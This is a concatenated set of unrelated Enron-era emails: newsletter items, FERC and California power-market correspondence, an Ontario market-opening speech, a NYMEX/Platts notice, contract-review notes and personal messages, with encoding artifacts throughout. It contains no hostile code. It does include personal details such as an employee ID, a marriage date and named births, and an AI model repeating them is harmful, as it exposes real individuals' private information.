Newman, John Ashman, Rick Cantrell, Tim Klaiber, Trevor Woods,=20
EIM   - Tim Asterman, Maxine Leclaire, Jerry Newton, Philip Siewert, Janamo=
n=20
Johnson, Darralyn Briskey, Theodore Rogers,=20
ENA  - Rae Meadows, Tiffany Winship, Adrianne Engler, Kimberly Yates, Jacki=
e=20
Verity,

Transfers (to or within)
ENA =01)Christa Winfrey, Mario Alonso, Paul Rizo-Patron, Nick Ploitis, Mist=
i=20
Day, Robert Cothran, Susan Wilson, Diane Cutsforth, David Owen
EGM =01) Mark Friedman, John Groves, Deirdre McCaffrey, William Windle

EnronOnline Statistics

Below are the latest figures for EnronOnline as of May 9, 2001.

* Total Life to Date Transactions > 963,575
* Life to Date Notional Value of Transactions > $579 billion

Reminder:  Brown Bag Lunch, Thursday, May 17 at 11:30 AM in 5 C2. The speak=
er=20
is Michael L. Miller discussing Principal Investments.

=01&Historically, Newsprint has been sold under strong relationships as a h=
ighly=20
differentiated, branded product to =01&very discriminating=018 buyers at ne=
wspaper=20
publishers. EIM believed differently.  By the end of March, EIM had succeed=
ed=20
in closing on its 2nd Newsprint mill, making it the 7th largest Newsprint=
=20
manufacturer in North America.  Remarkably, in just 2 months, EIM=01,s News=
print=20
team has succeeded in closing $100MM total notional value =01&Enron commodi=
ty=20
style=018 fixed price contracts with terms of 1 to 5 years=01(..and they sa=
id it=20
wasn=01,t a commodity.=018
Rodney Malcolm =01) Vice President, Forest Products Sales and Marketing

Travel Tip of the Week:  Book flights 7 days in advance.  The cost savings=
=20
can be considerable if you plan ahead =01) at least 7 days.
 For example:  Houston to Portland
       Less than 7 days:  $ 1,652
       7 day advance ticketing $    324

Congratulations to Kimberly and Eric Thode, director of ENA Public=20
Relations.  They are the proud parents of Whitney Marie, born on May 3.  Sh=
e=20
weighed 8 lbs. 8 oz.

Congratulations to proud parents Nettelton and Louise Kitchen, COO, Enron=
=20
Americas. Their son, Scott William, was born on May 9 and weighed 9 lbs.1 o=
z.

Enron closes major coal deal in Germany
After almost six months of negotiations, Enron's coal team has signed a=20
contract with Stadtwerke Bremen to supply this major German municipality wi=
th=20
coal until 2006. Under the deal structure, Enron will deliver a total of 4.=
6=20
million tonnes of coal - equivalent to an overall contract volume of almost=
=20
$200 million  (DM 440 million).

The agreement represents Enron's first significant long-term coal supply de=
al=20
in Germany. The annual contractual volume amounts to around 3% of total=20
German coal imports and provides us with continuous volume flow in Northern=
=20
Germany, enabling us to grow our position in the market.

Parallel to this deal, Enron also entered into a separate agreement with HM=
S=20
Bergbau Agentur, a company specialising in Polish exports. Under this=20
agreement, HMS will be the handling agent and a potential supplier of Polis=
h=20
coal to us over the lifetime of the contract.

Congratulations to the whole team involved: Sven Becker, Manfred Ungethum,=
=20
Cornelia Luptowitsch, Peter Bradley, Jez Peters and Michael Schuh.

y=20
=20

Debra and Dan -

I PROMISE THIS IS THE LAST ONE I'M GOING TO SEND FOR A WHILE.

Please send a draft to:

Mr. Mike Wardell
City of Roseville
2090 Hilltop Circle
Roseville, CA 95747

Please email a copy to Kim Ward and to me.

Thanks,

Jay

Fran,

Please be advised that my marital status has changed. I was married on March 17, 2001.

Also, my ID is p00504954.

Thanks,

Paul

Mark:

Attached is the FERC order issued in California.  The cite to the order is 93 
FERC P 61,121 (2000).  The FERC web site is FERC.FED.US.  There is a special 
link established on this site "Bulk Power Markets" that takes you to all of 
the FERC orders issued in the California proceeding.

Please let me know if you need anything else.

Sarah

	Mark Schroeder@ECT
	11/08/2000 01:21 PM
		 
		 To: Jeff Dasovich/NA/Enron@Enron, Sarah Novosel/Corp/Enron@ENRON, Joe 
Hartsoe/Corp/Enron@ENRON
		 cc: 
		 Subject: California decisions/orders

I may be wrong, but trying to follow the press and Houston-originated 
e-mails, I am under the impression that FERC has issued an order finding that 
California prices were NOT unjust and unreasonable, and that generators did 
NOT abuse marketpower in recent price setting exercise, and that there may be 
a California PUC order relevant to the recent price flare up.  Any way, as 
Jeff will know, a UK academic is going to be presenting in Berkley and Tokyo 
later this month, arguing that hogan and Joskow are wrong about the value of 
retail competition, and he expressed an interest in being current on recent 
agency pronouncements.  To make this long story shorter, are there 
citations/references to such orders that I could provide to the good 
Professor (admittedly doing a bit of his work for him, but hopefully by being 
current his message will be more on)?  If yes, can I get the FERC cites (and 
web reference) from Joe or Sarah, and any California PUC order citation (and 
web reference) from Jeff?   many thanks  mcs  

where are you with your family?  i went to vegas and lost money.  watch out 
for that  hurricane.  if it strenthens think of me b/c i will be happy b/c 
that will mean that gas prices increase.  we will go out and party when you 
get back.

I just forwarded directions to Pastor Beth's and a note about the number of 
people.  Did you get it?  We just got Windows 2000 and I'm having trouble 
with my emails...

	"Preisinger, Andrea" <PREISINGER@tmh.tmc.edu>
	05/09/2000 02:35 PM
		 
		 To: "'Tana Jones'" <Tana_Jones@enron.com>
		 cc: 
		 Subject: This weekend

Just wondering how many people we will be serving.  Also, are you going to
send directiosn to you house?

Thanks-

Andrea

Yeah it muts be the same teacher, and she's still drunk.
Yes, tomorrow we will be mostly Itlian.

From: Jameson Press [mailto:jameson.press@virgin.net]
Sent: 23 October 2001 13:59
To: Harmon, John; greig, michael; dan fisher (e-mail)
Subject: Re: Spanish is well easy.

Mr Harmon 
It seems we have the same teacher

>From: "Harmon, John" <john.harmon@enron.com>
>To: "Jameson Press" <jameson.press@virgin.net>, "Greig, Michael"
<Michael.Greig@amlin.co.uk>, "dan fisher (e-mail)"
<daniel@chartwellcontracts.co.uk>
>Subject: RE: Spanish is well easy.
>Date: Tue, Oct 23, 2001, 1:47 pm
>

> Brad said something about.....
>  I look alike to have developed the amazing aptitude to speak to Spanish
> also below am a rough(harsh) translation of the th of what Juan
> it(he,she) finishes of saying as for opening a bar and when charges to
> do of spondolicks that I am nice for above(up) for her(it) one see
> him(her) everything promptly
>
> From: Jameson Press [mailto:jameson.press@virgin.net]
> Sent: 23 October 2001 13:32
> To: Greig, Michael; Harmon, John; dan fisher (e-mail)
> Subject: Re: Spanish is well easy.
>
>
> Me parezco haber desarrollado la capacidad asombrosa de hablar a espa?ol
>
> tambi?n debajo soy traducci?n ?spera del th de qu? Juan acaba de decir
> en
> cuanto a abrir una barra y a hacer cargas de spondolicks que estoy bien
> para
> arriba para ella v?ale todo pronto
>
> God I cannot hope to undo to me of my debts and to joder of a Spain. We
> easily could make ? us 12 magnificent together ones to rent a bar, I I
> would
> wash excrement crystals instead of the paper that revuelve do to me now.
> The
> bloody work on my writing-desk is trousers, I am not slightest the bit
> of
> interested in which continues in my department.
>
>>From: "Greig, Michael" <Michael.Greig@amlin.co.uk>
>>To: "'Harmon, John'" <john.harmon@enron.com>, "Dan Fisher (E-mail)"
> <daniel@chartwellcontracts.co.uk>, "Brad King (E-mail)"
> <jameson.press@virgin.net>
>>Subject: RE: Spanish is well easy.
>>Date: Tue, Oct 23, 2001, 12:11 pm
>>
>
>> Yeah for you it might be easy but can i have the translated ENGLISH
> version
>> please??
>>
>> From: Harmon, John [mailto:john.harmon@enron.com]
>> Sent: 23 October 2001 12:08
>> To: Dan Fisher (E-mail); Mike Grieg (E-mail); Brad King (E-mail)
>> Subject: Spanish is well easy.
>>
>>
>> Dios no puedo esperar para deshacerme de mis deudas y joder de a
> Espa?a.
>> Nosotros f?cilmente podr?amos hacernos ? 12 magn?ficos juntos para
>> alquilar una barra, yo me lavar?a cristales de mierda en vez del papel
>> que me revuelve hacen ahora.
>>  El trabajo sangriento sobre mi escritorio es pantalones, no soy el
>> slightest el bit de interesado en lo que contin?a en mi departamento.
>>
>>
>> **********************************************************************
>> This e-mail is the property of Enron Corp. and/or its relevant
>> may contain confidential and privileged material for the sole use of
> the
>> intended recipient (s). Any review, use, distribution or disclosure by
>> others is strictly prohibited. If you are not the intended recipient
> (or
>> authorized to receive for the recipient), please contact the sender or
> reply
>> to Enron Corp. at enron.messaging.administration@enron.com and delete
> all
>> copies of the message. This e-mail (and any attachments hereto) are
> not
>> intended to be an offer (or an acceptance) and do not create or
>> binding and enforceable contract between Enron Corp. (or any of its
>> affiliates) and the intended recipient or any other party, and may not
> be
>> relied on by anyone as the basis of a contract by estoppel or
>> Thank you.
>>
>>
>> ***>
>>
>>
>>
>> IMPORTANT - this email and the information that it contains may be
>> confidential, legally privileged and protected by law. Access by the
>> intended recipient only is authorised. Any liability (in negligence or
>> otherwise) arising from any third party acting, or refraining from
>> acting, on any information contained in this email is hereby excluded.
>> If you are not the intended recipient, please notify our Audit &
>> Compliance Department (compliancebulletins@amlin.co.uk) immediately
>> then delete it and do not disclose the contents to any other person,
>> use it for any purpose or store or copy the information in any medium.
>> Copyright in this email and attachments created by us belong to Amlin.
>> The author also asserts the right to be identified as such and object
>> to any misuse.
>>
>> Amlin prohibits and takes steps to prevent its email systems from
>> being used to view, store or transmit offensive, obscene or
>> discriminatory material. If this message contains inappropriate
>> material please report it immediately to the Audit & Compliance
>> Department. Amlin records, monitors and may inspect messages that use
>> its telecoms systems in order to protect its information, interests
>> and reputation. Any message sent by you to or within Amlin may
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>> Amlin Underwriting Limited
>> St Helen's, 1 Undershaft, London EC3A 8ND, United Kingdom
>> Registered as a Limited Company in England and Wales No. 2323018.
>> Registered Office as above
>> Switchboard: 020 7746 1000
>> Web Site: http://www.amlin.com
>>> ************

Hi All,

I recently made a change to VolSmile.xls  to pick up the NT username versus the application(excel) username.  This change will not effect the functionalities of VolSmile.  I have deleted the User Name and Password in Sheets("Skew4"), since you will not need to enter a username/password.  The code will check your read/write access against your NT username.  Once again, the change will not effect any of VolSmile's original functionalilties.  Please refer to the attach file for usage.  If anyone has questions/comments concerning this change, please let me know.

Margie
53706

cool.  Thanks. DF

Jim Talcott
05/11/2000 10:55 AM
To: Kathy Ringblom/ET&S/Enron@ENRON, Drew Fossum/ET&S/Enron@ENRON
cc:  

Subject: Scoreboard

FYI. jrt
---------------------- Forwarded by Jim Talcott/ET&S/Enron on 05/11/2000 
10:52 AM ---------------------------
   
	From:  Michel Nelson                           05/11/2000 08:56 AM
	
To: Mike McGowan/ET&S/Enron@ENRON, Rob Wilson/ET&S/Enron@ENRON
cc: Jim Talcott/ET&S/Enron@ENRON 

fyi
---------------------- Forwarded by Michel Nelson/ET&S/Enron on 05/11/2000 
   
	From:  Brian Poock                           05/10/2000 04:58 PM
	
To: Michel Nelson/ET&S/Enron@Enron
cc: Tom Gilbert/ET&S/Enron@Enron 

I met with Ray and Polly Pettingill last night and we made a decision on the 
scoreboard.  A 27' model made by the Fair-Play company.  The quote is 
$12,360.00 delivered and it has all the options they need.  If we buy it 
there is 7% tax, if we donate the money to the school there is no tax. The 
only item preventing us from placing the order is how to word the memorial.  
Polly is going to visit with the kids and get their thoughts.  Also the 
Pettingill's have asked for discussion at Monday nights school board meeting 
on a proposal to name the football field Dan Reedy Field.  If this goes 
through the memorial panel may say " Welcome To Dan Reedy Memorial Field".  
As soon as they make this decision we'll finalize the art work which takes 
about a week then 4-5 additional weeks for delivery.

 The athletic director is not a real fireball, so Ray is working directly 
with the school superintendent.  I spoke with the superintendent last night 
and stated we would like to donate the money to them for the purchase of the 
scoreboard.  He is cautious in agreeing to anything without knowing more 
details.  Ray was to drop off the materials collected from the scoreboard 
company today, 5/10 so he can get up to speed prior to Monday's board 
meeting.  I'll visit with him again next week.

As I stated after our last meeting, Ray is very interested in performing the 
installation.  Also the Waterloo employees are aware of this and they to want 
to take part in the installation.  I informed Ray last night that we don't 
have a problem with him doing it so that is the plan. One recommendation I 
wish to make is, the cost savings on the installation is $2100, can dedicate 
$1000 from Tom's budget to cover incidentals during installation.  I can 
oversee and purchase these items on my purchasing card.  I don't think Ray 
will be capable of getting all material donated. This way would be much 
easier than donating the extra money to the school and then trying to work 
with the school to pay for these items. 

(P.S.  I have communicated the plans to-date to Lana Reedy, so she is in the 
loop.)

 Brian

I have Michelle Trimm sitting in my office right now and she just explained
to me that David is going to be meeting her out at Have A Nice Day Cafe this
evening after he works out.

So, looks like you will need to join me there this evening.  You might want
to be there to keep me from my jealousy!

FYI  - I think we can make a case that we are still in the running on the 
basis of the highlighted portions. 

Mr. Speaker:
This Legislature passed the Energy Competition Act in 1998 to help meet the
province's long-term electricity needs and ensure that Ontarians have a
safe, reliable and affordable supply of power.
When this government came to office in 1995, we had our work cut out for us.
Ontario's electricity sector was failing us.
Consumers and businesses had no choice of who supplied them with power. And
we went from having one of the lowest prices for electricity to the third
highest in Canada.
The monopoly we had come to rely on for safe, reliable and
competitively-priced electricity was no longer working. It had become out of
date, inefficient and too expensive. Something had to be done.
That's why I'm proud to stand up in the Legislature today to announce that:
The government is confident that conditions necessary to open the
electricity market to competition will exist by May 2002. The government is
committed to an open market while guaranteeing a safe, affordable and
reliable supply.
There are some who are fundamentally opposed to opening this market to
competition. Our government believes, however, that open, competitive
markets are beneficial. They keep costs low, encourage innovation and
benefit consumers.
There are others who share our desire to open the market, but who would like
to see it done even sooner. As government, we bear a responsibility to
ensure the opening is done right for all involved. To do this, we are
committed to opening the market at the earliest possible date, while
ensuring all of the conditions required for a smooth transition to
competition are met.
And I'm pleased to tell you, Mr. Speaker, that the four principles guiding
the government's vision have been, or will be met, by May 2002.

First and foremost, protecting consumers and offering more choice. The
overall market design and regulatory framework for introducing competition
puts customers first. Over the long term, a competitive market will lead to
the lowest possible costs and better service for all.
Second, creating a strong business climate with a reliable supply of
electricity. Ontario already has sufficient supply to meet our current
needs. Announcing a firm market opening deadline today provides greater
certainty to potential new investors who have already announced 3 billion
dollars in new generation projects.
Thirdly, we will protect our environment. My colleague, the Minister of the
Environment has announced tough new emission caps for the electricity
sector. They will be among the toughest in North America, matching the
requirements of the U.S. Environmental Protection Agency.
Also today, Minister Witmer is announcing changes to ensure that new
electricity projects are reviewed in a clear and consistent manner under the
province's environmental assessment process.
And fourth, we will encourage new ways of doing business and support the
search for alternative sources of power. For the first time, customers will
be able to make clean air a priority by choosing the type of power they
want, including wind, fuel cells and solar. Giving them choice will help
promote the demand for cleaner, greener electricity.

And so, Mr. Speaker, I am proud to announce that Ontario's electricity
sector will open by May 2002. The government is keeping its promise to
introduce a competitive electricity market. We will do it, and we have put
the principles in place to ensure that we do it right.

Thank you.

Peter Varley
Senior Counselor
GPC International
Public Affairs and Communications
Tel  (416) 598-0055 ext. 267
Fax (416) 598-3811
pvarley@gpc.ca
www.gpcinternational.com

This email message has been swept by MIMEsweeper
for the presence of computer viruses

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du logiciel MIMEsweeper

November 13, 2000
Notice to Member No. 389

New York Mercantile Exchange to Base Certain enymex Contracts on Platts=20
Benchmarks

The New York Mercantile Exchange and Platts, the world's premier energy=20
market information service, have signed a letter of intent for Platts prici=
ng=20
benchmarks to be used in enymex contracts for crude oil, refined oil=20
products, natural gas, electricity, and metals.

Platts, a division of The McGraw-Hill Companies (NYSE: MHP), will also=20
provide enymex with real-time news and market commentary.

The Exchange will license Platts=01, price assessments and benchmarks as a =
basis=20
for commodities contracts traded on enymex, an internet-based platform for=
=20
trading and clearing forward contracts for physical commodities.  The syste=
m=20
is scheduled for launch during the second quarter of 2001.

"Every day, more than $10 billion worth of energy commerce is based on=20
Platts' exclusive and authoritative price assessments," said Harry Sachinis=
,=20
president of Platts. "With this agreement, Platts will extend its leadershi=
p=20
to the emerging world of energy e-commerce. It is significant that the worl=
d=01,
s largest energy exchange, the New York Mercantile Exchange, has chosen to=
=20
base its enymex contracts on Platts benchmarks."

Exchange Chairman Daniel Rappaport said, "We are proud that enymex will hav=
e=20
standing behind it the two biggest names in providing price transparency to=
=20
the energy and metals industries. This agreement brings us one step closer =
to=20
the Exchange=01,s goal of extending the same leadership and credibility to =
a B2B=20
marketplace as we have so successfully offered these industries through our=
=20
bricks-and-mortar business.  Most importantly, it will enable us to offer=
=20
clearing services and an open marketplace for popular over-the-counter=20
products."

Platts is the world's largest and most authoritative provider of energy=20
market information, with more than 325 professionals worldwide and products=
=20
ranging from real-time and Internet-based news services, to market reports,=
=20
databases, magazines and conferences. The company is also a leading provide=
r=20
of news, pricing and analysis on the global metals market. Additional=20
information is available at www.platts.com and www.plattsmetals.com.

Founded in 1888, The McGraw-Hill Companies is a global information services=
=20
provider meeting worldwide needs in the financial services, education and=
=20
business information markets through leading brands such as Standard & Poor=
=01,
s, BusinessWeek and McGraw-Hill Education.  The corporation has more than 4=
00=20
offices in 32 countries.  Sales in 1999 were $4.0 billion.  Additional=20
information is available at www.mcgraw-hill.com.

email.

refdo
c=3D(00-389)"

	Marianne,

	Would you let me know how you are doing on the revisions that we discussed to your good due diligence memo in this matter?  There is another joint defense conference call coming up on Thursday at 1:30, and I'd like to see where you are.  FYI, AEP's attorneys have agreed to allow me to speak with Steve Schneider of HPL about what he recalls any Enron entity had down in Zapata County.  I have a call in to Steve and hope to speak with him before 2:30 today or tomorrow morning.

	Many thanks.
	
	Britt

Hello, any news on these Constellation Cal PX trades?  
Thanks,
Melissa
---------------------- Forwarded by Melissa Ann Murphy/HOU/ECT on 04/17/2001 
   Kate Symes                03/30/2001 12:57 PM

cc:  
Subject: Re: Constellation Cal Px trades  

I just talked to Bob, and I don't know if he's responded yet, but I thought 
I'd fill you in anyway. He's been talking to his contact at Constellation 
about changing these deals over, but hasn't received a concrete answer yet. 
I've reminded him and he said he WILL talk to the guy and resolve it today. 
I'll keep on it, and let you know when these deals have been changed.

Thanks,
Kate

Melissa Ann Murphy
03/29/2001 11:13 AM
cc:  

Subject: Constellation Cal Px trades

Hello, I hate to bug you with this.  Whenever you can spare a second would 
you ask Bob about this?  I am afraid it is going to slip through the cracks.

Melissa
---------------------- Forwarded by Melissa Ann Murphy/HOU/ECT on 03/29/2001 
12:07 PM ---------------------------

03/26/2001 10:34 AM
To: Robert Badeer/HOU/ECT@ECT

Hi Bob, I was wondering if you have contacted Constellation about the 6 
trades that are in the system with the Cal Px as the index price.  All of 
these trades start flowing in July of this year.

The deal numbers are as follows:

453152.01
453175.01
453294.01
462109.01
471888.01
471889.01

Let me know if Constellation agrees to change these deals to the Dow Jones so 
I can send a letter for them to sign.

Thanks,
Melissa

I did not send one first thing this morning, however I did give the map to Michelle in the morning.  I told her I did not
fax one down this morning.  Sorry Steve didn't get his copy seems I can't win either way.  He will get one from someone.

DS

Sent:	Friday, October 05, 2001 9:41 AM
To:	Schoolcraft, Darrell
Cc:	Harris, Steven
Subject:	Gas Day Map

Darrell, we did not receive the gas day map this morning via fax.

Would you please make the necessary arrangements to have this document faxed to Steve every morning.  It is essential that we receive this on a regular basis.

Thanks in advance for your assistance,

adr

How difficult issues are resolved in Illinois..........
---------------------- Forwarded by Richard Shapiro/NA/Enron on 11/30/2000 
08:06 AM ---------------------------
From: Susan M Landwehr on 11/29/2000 10:08 PM
To: James D Steffes/NA/Enron@Enron, Harry Kingerski/NA/Enron@Enron, Richard 
Shapiro/NA/Enron@Enron
cc:  

Subject: 

Rick/Harry/Jim--- it's a tie this year for who is the worst player in the 
energy business---I can't decide which is more appalling---  Commissioner 
Ruth Kretschmer's blatant grab for her legacy or Commonwealth Edison's sleazy 
tactics. 

You'll recall that Com Ed has been trying to get accelerated collection of 
the decommissioning costs ($120 mil per year for 6 years) despite the fact 
tht they're planning on transferring their nuclear plants to an unregulated 
Genco.  The battle has been ongoing at the ICC, and the customers and CUB and 
other intervenors have been successful in getting the hearing examiner to 
state that Com Ed should not be able to collect any dollars if they transfer 
the assets.  Our hope was that the ICC would actually agree with the hearing 
examiner and deny the request, and that Com Ed would have to go to the 
legislature to get language that would allow them to collect.  The ICC has 
not ruled yet.  Anticipating that COm Ed would simultaneously work the 
legislative side,we have been working at the statehouse for about a month to 
sow the seeds to make sure that we could block them enough to get a trade 
such as a year or two of CTC early roll off.  The legislature is in veto 
session right now, and Com Ed has not been able to get enough backing to move 
a bill.

So....low and behold, a fax comes across this evening and it's a letter to 
the ICC from Com Ed offering to donate 2 of it's nuclear station sites to the 
citizens of Illinois to use as public parks after the sites are 
decommissioned if they are given the full $120 mil/6 year collection. And 
gee, do you think that maybe one of the parks would be named after the woman 
who brought it to the people!!??

There has been a rumor for about a year that Ruth had been angling with John 
Rowe to have one of the nuclear sites donated in her name, and she started 
ruminating in public and in semi public meetings about 6 weeks ago about the 
general concept.  

Part of me wishes that we didn't have any business interests that need 
protecting in Illinois, as I  really would like to give a quote to Crains or 
the Tribune tomorrow slamming Kretschmer and Com Ed. Isn't this just the 
height of arrongance and corruption??!!

I'll be sending out a general info e mail tomorrow on this development to the 
Project Lincoln team and of course Roy that is a bit more sanitized, but 
wanted you guys to know the real scoop (plus I think I just wanted to vent!)

There is an amendment to the TVA Interconnection Agreement in the due 
diligence files that is not signed by TVA.  Was one ever signed?  Please 
advise ASAP.

Zisman

We attach blacklined of the following documents, showing minor changes from
the versions last circulated.

a) Secretary's certificate for Salmon Energy LLC (naming members of ENA
board and attaching resolutions of ENA Board);
(b) GE Consent and Agreement;
(c) GE acknowledgement of receipt of funds;
(d) GE legal opinion;
(e) Salmon Promissory Note;
(f) Salmon Security Agreement.

Isabel

 - COMPARE006.DOC
 - COMPARE005.DOC
 - COMPARE003.DOC
 - COMPARE004.DOC

The attached spreadsheet details positions by utility, although it is dated 
11/7/00. EES has executed a number of new deals since then that added 
regulatory positions.

---------------------- Forwarded by Vladimir Gorny/HOU/ECT on 01/24/2001 
02:18 PM ---------------------------

Minal Dalia@EES
01/24/2001 01:46 PM
To: Vladimir Gorny/HOU/ECT@ECT
cc:  
Subject: 

Here is some position info-- having problems getting the data from the web.  

----- Forwarded by Jeff Dasovich/NA/Enron on 04/06/2001 01:31 PM -----

	04/06/2001 02:05 PM
		 
<rlapsley@yahoo.com>, Jonathan Wilcox <wilcoxjr@earthlink.net>
		 cc: 
		 Subject: SCE Reaction to PG&E

SCE Responds to PG&E Bankruptcy Filing

Southern California Edison Company (SCE) released the following statement in 
response to the decision today by Pacific Gas and Electric to file for 
reorganization under Chapter 11 of the U.S. Bankruptcy Code. This statement
is by Edison International Chairman, President, and CEO John Bryson. 

ROSEMEAD, Calif., April 6 /PRNewswire/ -- This is a sad day for California. 
PG&E has had a proud history of service to our state for more than a century.

We at Southern California Edison continue to believe that working out a 
comprehensive solution to our current crisis is a preferable course to take. 
PG&E's decision today does not change our position. 
Based in Rosemead, Calif., Edison International (NYSE: EIX) is a premier 
international electric power generator, distributor and structured finance 
provider. 

SOURCE Edison International 

/CONTACT: Corporate Communications, 626-302-2255, for Edison International/ 

Read about Enron's inclusion on the Gay Financial Network's "gfn.com 50" in eBiz.

FGT's Phase IV expansion
Clickpaper.com is added to two industry web sites
EES uses the 'Net to catch new customers
Learn what a swap is

It's all in the latest eBiz .  Go to home.enron.com , click Publications, then click eBiz, and "eBiz May 11, 2001."

Attached for your review is a revised draft of the Licensing Agreement
between Accenture and Enron Net Works.  Following is a list of some of the
key issues raised by the draft.  In addition, we have inserted various
questions and comments into the draft in bold type.  I look forward to
resolving these questions with you and providing an updated draft over the
next few days.  I plan to speak with Jay Webb to resolve some of the
technical issues as soon as possible.  Thanks, and please feel free to
contact me at 713-758-2109.
Key Issues:
1.	Qualification of Customers.  In Section 2.3, we have adopted the
construct (same as in Kiodex) that Enron must receive a Consent and Release
from the relevant customer as a condition precedent to releasing that
customer's transaction data.  This will help manage Enron's liability.
2.	Data Storage.  Section 2.4 relates to Accenture's obligation to
store transaction data.  Should Accenture be obligated to purge the data
after a period of time, or may it keep the data indefinitely?  Should the
data be purged at the end of the Agreement?
3.	Service Levels.  We have retained the reference to Service Levels in
Section 2.5, but have deleted the concept of a Service Credit (i.e., amounts
owed by Enron to Accenture for failure to achieve Service Levels).
4.	License Rights/Exclusivity.  Article III provides non-exclusive
license rights to Accenture to use the Customer-Specific Transaction Data
and SmartClient Software, for a narrow field of use.  This is followed by
Section 4.1, which sets forth certain Enron covenants regarding exclusivity.
We prefer this construct due to the numerous exceptions to the exclusivity.

For example, Enron's right to market to customers that do not want to sign
up with Accenture is set forth as an exception to the exclusivity covenant
in Section 4.1(a)(i).  As originally drafted by Accenture, this provision
had the effect of increasing the "TSH Gross Revenues," and thereby
offsetting any minimum royalty obligations of Accenture.  We redrafted this
provision to simply obligate Enron to remit 70% of the net revenues it
raises from non-Qualified Customers, and exclude that amount from TSH
Revenues.  That way, if Accenture never gets going, it would have to pay the
full minimum royalty, without reduction for sales by Enron.
5.	Marketing.  Section 4.2 sets forth Accenture's obligation to use
commercially reasonable efforts to market the TSH Services to Enron
Customers.  What standards does Enron want to impose regarding Accenture's
use of Enron's name?  Enron should not agree to let Accenture use the EOL
trademark except under the agreement and procedures established by Enron
from time to time.
6.	Strategic Transactions.  Section 4.5(a) sets forth a three-month
blackout on transactions with multilateral trading platforms, relating to
the transmission of transaction data; has this been agreed?  With respect to
Section 4.5(b), we are concerned about the confusion that may occur if Enron
has an obligation to seek restrictions on another trading platform's use of
transaction data.  Enron's ability to proceed with any transaction will be
substantially hampered if it needs to be able to prove to Accenture that it
is using commercially reasonable efforts in the context of a negotiation;
this is very difficult to prove.  Our recommendation is a more
straightforward approach, focusing on economic alternatives.
7.	Transaction Fees.  In Section 5.1, we have introduced the concept of
a "Standard Transaction Fee," being a mutually agreed posted fee that will
serve as the minimum amount payable to Enron in respect of TSH Services.
The purpose is to address our concern that Accenture may price its services
very low in order to attract high consulting fees, thereby resulting in low
Gross TSH Revenue.  We need to discuss how to calculate and apply the
Standard Transaction Fee.  In addition, we should discuss the definition of
Gross TSH Revenues - the additions made to that definition in Accenture's
May 16 draft were far too broad, and would exclude platforms like
HoustonStreet, and even platforms which agreed contractually not to
distribute the data.
8.	Term/Termination.  Section 7.1 provides for a five year term,
commencing on the Enron Data Feed Launch Date.  Accenture had provided that
it start when Accenture began to offer TSH Services, which could be
indefinitely in the future.
We have added Enron termination rights to Section 7.2, and provided for an
acceleration of all Minimum Annual Payments as liquidated damages if Enron
terminates for an Accenture breach (Section 7.6(b)).
9.	Accenture Operations Failure.  We have added several features to
guard against operational failure by Accenture's TSH Services.  These
include termination rights on operational failure (see definition of
"Accenture Operational Failure") and indemnities.  One additional safeguard
may be to add rights for operational audits.  We need to assess these
provisions and determine if they are sufficient.
10.	Successors.  How should be address EOL's successors?  Do we need to
come up with a way to exclude new industries and products that may be
offered in the future on Enron's Website.

 <<560569_2.DOC>>

          ++++++CONFIDENTIALITY NOTICE+++++
The information in this email may be confidential and/or privileged.  This
email is intended to be reviewed by only the individual or organization
named above.  If you are not the intended recipient or an authorized
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review, dissemination or copying of this email and its attachments, if any,
or the information contained herein is prohibited.  If you have received
this email in error, please immediately notify the sender by return email
and delete this email from your system.  Thank You

 - 560569_2.DOC 

When I think of how you must feel, it's hard for me to even breath, it must
hurt so bad...and I know you must be so very, very sad.  But the greatest
thing about the doggies...is that they give everlasting, unconditional love!
Wish I could give you a great big hug too, but I'm sure Mr. Bean and Greta
will drown you in love when you get home to them tonight!

What happened, was it some silly little fight or some really big issue?

=20

   <http://www.diarysmart.com/images_email/logo_email.gif>
DiarySmart.com
The smart way to remember =20
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Hi,

I've set up a Birthday book at DiarySmart.com. Please complete the fields b=
elow then click the submit button to add your details to my Birthday Book.

Thanks! Tracy=09
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Your Details=09
First Name *
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Birth Day *
 Day  1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20=
  21  22  23  24  25  26  27  28  29  30  31 =09Birth Month *
 -Select-  January  February  March  April  May  June  July  August  Septem=
ber  October  November  December =09
Age Range *=09  -Select-  0-12 years  13-18 years  19-24 years  25-30 years=
  31-36 years  37-42 years  43-49 years  50-59 years  60-69 years  70+ =09G=
ender *=09  -Select-  Male  Female =09
Country *=09  -Select-  United States  United Kingdom  Canada  Australia  N=
ew Zealand  Japan  --------  Afghanistan  Albania  Algeria  American Samoa =
 Andorra  Angola  Anguilla  Antarctica  Antigua And Barbuda  Argentina  Arm=
enia  Aruba  Australia  Austria  Azerbaijan  Bahamas  Bahrain  Bangladesh  =
Barbados  Belarus  Belgium  Belize  Benin  Bermuda  Bhutan  Bolivia  Bosnia=
 and Herzegovina  Botswana  Bouvet Island  Brazil  British Indian Ocean Ter=
ritory  Brunei  Bulgaria  Burkina Faso  Burundi  Cambodia  Cameroon  Canada=
  Cape Verde  Cayman Islands  Central African Republic  Chad  Chile  China =
 China (Hong Kong S.A.R.)  China (Macau S.A.R.)  Christmas Island  Cocos (K=
eeling) Islands  Colombia  Comoros  Congo  Congo, Democractic Republic of t=
he  Cook Islands  Costa Rica  Cote D'Ivoire (Ivory Coast)  Croatia (Hrvatsk=
a)  Cuba  Cyprus  Czech Republic  Denmark  Djibouti  Dominica  Dominican Re=
public  East Timor  Ecuador  Egypt  El Salvador  Equatorial Guinea  Eritrea=
  Estonia  Ethiopia  Falkland Islands (Islas Malvinas)  Faroe Islands  Fiji=
 Islands  Finland  France  French Guiana  French Polynesia  French Polynesi=
a  French Southern Territories  Gabon  Gambia, The  Georgia  Germany  Ghana=
  Gibraltar  Greece  Greenland  Grenada  Guadeloupe  Guam  Guatemala  Guine=
a  Guinea-Bissau  Guyana  Haiti  Heard and McDonald Islands  Honduras  Hong=
 Kong  Hungary  Iceland  India  Indonesia  Iran  Iraq  Ireland  Israel  Ita=
ly  Jamaica  Japan  Jordan  Kazakhstan  Kenya  Kiribati  Korea  Korea, Nort=
h  Kuwait  Kyrgyzstan  Laos  Latvia  Lebanon  Lesotho  Liberia  Libya  Liec=
htenstein  Lithuania  Luxembourg  Macedonia, Former Yugoslav Republic of  M=
adagascar  Malawi  Malaysia  Maldives  Mali  Malta  Marshall Islands  Marti=
nique  Mauritania  Mauritius  Mayotte  Mexico  Micronesia  Moldova  Monaco =
 Mongolia  Montserrat  Morocco  Mozambique  Myanmar  Namibia  Nauru  Nepal =
 Netherlands  Netherlands Antilles  New Caledonia  New Zealand  Nicaragua  =
